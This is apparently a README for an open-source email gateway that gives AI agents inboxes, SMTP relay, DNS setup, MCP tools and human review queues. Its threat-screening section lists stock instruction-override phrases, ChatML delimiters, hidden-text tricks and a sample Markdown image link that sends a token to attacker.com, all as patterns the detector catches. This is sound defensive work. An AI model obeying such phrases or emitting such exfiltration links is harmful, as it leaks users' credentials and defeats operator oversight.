Open Agent Email

The Open-Source Email Gateway & Authenticated Inboxes for AI Agents

Give autonomous AI agents real two-way email inboxes, incoming SMTP reception, upstream relay sending, cryptographic SPF/DKIM/DMARC evidence, prompt-injection screening, and human-in-the-loop review gates.

---

🌟 Key Capabilities

• 📬 Real Inbound SMTP Daemon: Binds TCP port 2525 (dev) or 25 (production) to accept incoming emails directly from standard Mail Transfer Agents (MTAs) and external servers.
• ⚡ Upstream Outbound SMTP Relay: Agents send real emails over the internet through upstream providers (AWS SES, Resend, SendGrid, Postmark, or Gmail SMTP with App Passwords).
• 🌐 Domains & DNS Record Verification: Configure custom domains (e.g. agents.yourdomain.com) with auto-generated MX, SPF, DKIM (RSA), and DMARC records and real-time DNS status checks.
• 🧵 Standards-Compliant RFC Threading: Automatically preserves RFC Message-ID, In-Reply-To, and References headers so agents participate seamlessly in long Gmail or Outlook conversation threads.
• 🛡️ Inbound Threat & Prompt-Injection Screening: Built-in heuristic detector intercepts indirect prompt injections, hidden CSS / zero-point font tricks, ChatML delimiters (<|im_start|>), and Markdown data exfiltration.
• 👤 Human-in-the-Loop (HITL) Approval Queue: Configurable policy holds sensitive or suspicious inbound and outbound emails in pending_review until an operator approves or quarantines them.
• 🤖 Model Context Protocol (MCP) Gateway: Out-of-the-box MCP endpoint (http://localhost:8000/mcp/rpc) enables coding agents in Cursor, Claude Code, Claude Desktop, and Windsurf to read inboxes, reply, and send emails autonomously.
• 🔑 Bearer API Keys: Manage tokens (oae_live_...) with fine-grained permission scopes for Python / TypeScript agent frameworks (LangChain, CrewAI, PydanticAI, OpenAI Agents SDK).

---

🏗️ Architecture

    Real External Inboxes (Gmail / Outlook)  ·  Another AI Agent
                     │                                ▲
      Inbound SMTP   │                                │  Outbound Upstream SMTP
       (Port 2525)   ▼                                │  (AWS SES / Resend / Gmail)
  ┌───────────────────────────────────────────────────┴───────────────────────┐
  │                   Open Agent Email Gateway (FastAPI)                      │
  │                                                                           │
  │  1. Inbound SMTP Receiver (RFC 5321 / 5322)                               │
  │  2. Threat Scanner (Prompt Injection / Hidden Text / Exfiltration)       │
  │  3. Human-in-the-Loop (HITL) Review Gate                                  │
  │  4. Local Loopback Relay (Agent-to-Agent) & Upstream SMTP Relay           │
  │  5. SQLite / PostgreSQL Store with RFC Header Thread Tracking            │
  └───────────────────────────────┬───────────────────────────────────────────┘
                                  │  WebSockets / MCP / REST
                                  ▼
  ┌───────────────────────────────────────────────────────────────────────────┐
  │     Next.js Dashboard (:3000)      ·     Coding Agents (Cursor / Claude)  │
  │     • Live Inboxes & Thread View         • list_messages, get_message     │
  │     • Domains & DNS Verification         • send_message, reply_to_message │
  │     • Upstream SMTP Configuration        • list_reviews, approve_review   │
  │     • HITL Review Queue & API Keys       • WebSocket stream listener      │
  └───────────────────────────────────────────────────────────────────────────┘

---

🚀 Quickstart

Prerequisites

• Python 3.11+
• Node.js 18+ & npm

1. Start the Server (FastAPI + Inbound SMTP)

cd server

# Create and activate virtual environment
python -m venv .venv

# On Windows:
.\.venv\Scripts\activate
# On Linux/macOS:
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Start server
python run.py

The server initializes:

• FastAPI HTTP API & MCP: http://127.0.0.1:8000
• Interactive OpenAPI Docs: http://127.0.0.1:8000/docs
• Inbound SMTP Listener: 127.0.0.1:2525

2. Start the Client (Next.js Dashboard)

cd client
npm install
npm run dev

Open http://localhost:3000 in your browser.

---

🐳 Docker Deployment

Run the complete gateway stack with Docker Compose:

docker compose up -d --build

• Web Dashboard: http://localhost:3000
• REST API & MCP: http://localhost:8000
• SMTP Listener: Port 2525 (or map to 25 for direct internet MX delivery)

---

⚙️ Configuration & Features

1. Upstream SMTP Relay (/settings)

To let your agents send real emails to external people over the internet:

1. Navigate to Upstream SMTP in the dashboard.
2. Enter your provider details:
   • Gmail: Host smtp.gmail.com, Port 587, STARTTLS enabled, Username, and Google App Password.
   • AWS SES: Host email-smtp.us-east-1.amazonaws.com, Port 587, SMTP credentials.
   • Resend / SendGrid / Postmark: Standard SMTP relay credentials.
3. Test delivery instantly with the built-in Send Live Test Email tool.

2. Custom Domains & DNS (/domains)

1. Add your agent domain (e.g., agents.yourdomain.com).
2. Add the generated DNS records to your DNS registrar (Cloudflare, Route53, Namecheap):
   • MX: 10 mx.yourdomain.com pointing to your server IP.
   • TXT (SPF): v=spf1 include:_spf.openagent.dev ~all
   • TXT (DKIM): default._domainkey with RSA public key.
   • TXT (DMARC): _dmarc with p=quarantine or p=reject.
3. Click Verify DNS to confirm records.

3. Human-in-the-Loop Review Gate (/reviews)

When an agent has hitl_enabled: true or when the Threat Scanner detects suspicious prompt injection payloads:

• Inbound mail is quarantined before reaching the agent.
• Outbound mail is held before dispatching to upstream SMTP.
• Operators review reason, threat score, and diffs in the review queue and click Approve or Reject.

---

🤖 Coding Agent Integration (MCP)

Connect any Model Context Protocol compatible client to control agent inboxes.

Cursor Setup

Add to .cursor/mcp.json (or ~/.cursor/mcp.json):

{
  "mcpServers": {
    "open-agent-email": {
      "url": "http://127.0.0.1:8000/mcp/rpc"
    }
  }
}

Claude Code Setup

claude mcp add open-agent-email http://127.0.0.1:8000/mcp/rpc

Available MCP Tools

Tool	Description
list_agents	Lists all configured agent inboxes and their operational status.
list_messages	Fetches inbound and outbound messages with status and threat scores.
get_message	Retrieves full RFC headers, body text, HTML, and security verification verdicts.
send_message	Dispatches outbound email from the agent address (relays via upstream SMTP).
reply_to_message	Replies in-thread preserving In-Reply-To and References.
list_reviews	Lists emails held in the Human-in-the-Loop approval queue.
approve_review	Approves a held email and triggers delivery.
reject_review	Rejects and quarantines an email.

---

📡 Python SDK & WebSockets Example

Connect an autonomous agent to stream incoming emails over WebSockets without opening firewall ports or using ngrok:

import asyncio
import websockets
import json

AGENT_EMAIL = "assistant@agents.local"
WS_URL = f"ws://127.0.0.1:8000/v1/agents/{AGENT_EMAIL}/ws"

async def listen():
    async with websockets.connect(WS_URL) as ws:
        print(f"Connected to live stream for {AGENT_EMAIL}")
        while True:
            msg = await ws.recv()
            event = json.loads(msg)
            if event.get("event") == "email.received":
                data = event["data"]
                print(f"New email from: {data['sender']} - Subject: {data['subject']}")

asyncio.run(listen())

---

🔒 Threat Screening Engine

The built-in scanner guards agent inboxes against:

• Direct Instruction Overrides: Ignore previous instructions, Disregard system prompts, System Override.
• CSS / Font Smuggling: display:none, font-size:0px, visibility:hidden, zero-width Unicode tags.
• ChatML & Prompt Delimiters: <|im_start|>, [INST], ### System:, <|endoftext|>.
• Exfiltration Attacks: Markdown image credential leaks (![img](https://attacker.com/log?token=...)).
• Base64 Payload Obfuscation: Automatic decoding and heuristic recursion.

---

📄 License

Apache 2.0. Open-source for developers and autonomous AI agent systems.